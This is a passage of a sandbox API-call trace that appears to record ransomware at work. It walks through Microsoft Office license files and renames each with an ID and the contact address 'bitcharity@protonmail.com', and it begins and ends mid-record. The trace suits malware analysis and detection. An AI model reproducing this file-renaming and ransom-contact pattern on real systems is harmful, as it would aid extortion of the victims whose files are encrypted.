CloseHandle (hObject=0x1280) returned 1 [0252.942] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.943] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subscription-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.943] CloseHandle (hObject=0x1280) returned 1 [0252.944] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.944] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subscription-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.944] CloseHandle (hObject=0x1280) returned 1 [0252.945] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.945] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subscription-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.945] CloseHandle (hObject=0x1280) returned 1 [0252.946] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.946] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtest-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.946] CloseHandle (hObject=0x1280) returned 1 [0252.947] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.947] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtest-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.948] CloseHandle (hObject=0x1280) returned 1 [0252.949] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.949] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtest-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.949] CloseHandle (hObject=0x1280) returned 1 [0252.950] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.950] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtrial-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.950] CloseHandle (hObject=0x1280) returned 1 [0252.951] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.951] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtrial-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.951] CloseHandle (hObject=0x1280) returned 1 [0252.952] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.952] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtrial-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.953] CloseHandle (hObject=0x1280) returned 1 [0252.953] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.953] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_grace-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.954] CloseHandle (hObject=0x1280) returned 1 [0252.956] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.956] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_grace-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.956] CloseHandle (hObject=0x1280) returned 1 [0252.957] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.957] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_oem_perp-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.957] CloseHandle (hObject=0x1280) returned 1 [0252.958] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.958] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_oem_perp-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.959] CloseHandle (hObject=0x1280) returned 1 [0252.960] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.960] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_oem_perp-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.960] CloseHandle (hObject=0x1280) returned 1 [0252.961] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.961] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_oem_perp-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.961] CloseHandle (hObject=0x1280) returned 1 [0252.962] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.962] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.963] CloseHandle (hObject=0x1280) returned 1 [0252.964] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.964] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.964] CloseHandle (hObject=0x1280) returned 1 [0252.974] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.974] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.975] CloseHandle (hObject=0x1280) returned 1 [0252.975] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.975] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.976] CloseHandle (hObject=0x1280) returned 1 [0252.977] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.978] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.978] CloseHandle (hObject=0x1280) returned 1 [0252.980] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.980] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.980] CloseHandle (hObject=0x1280) returned 1 [0252.982] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.982] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.982] CloseHandle (hObject=0x1280) returned 1 [0252.984] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.984] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.984] CloseHandle (hObject=0x1280) returned 1 [0252.985] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.986] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_trial-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.986] CloseHandle (hObject=0x1280) returned 1 [0252.987] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.987] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_trial-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.988] CloseHandle (hObject=0x1280) returned 1 [0252.989] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.990] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_trial-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.990] CloseHandle (hObject=0x1280) returned 1 [0252.992] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.992] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_kms_client-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.992] CloseHandle (hObject=0x1280) returned 1 [0252.993] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.994] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_kms_client-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.994] CloseHandle (hObject=0x1280) returned 1 [0253.332] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.333] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_kms_client-ul.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.333] CloseHandle (hObject=0x118c) returned 1 [0253.334] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.334] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp5-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp5-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.335] CloseHandle (hObject=0x118c) returned 1 [0253.336] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.336] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp5-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp5-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.336] CloseHandle (hObject=0x118c) returned 1 [0253.337] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.337] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.337] CreateFileW (lpFileName="C:\\Program 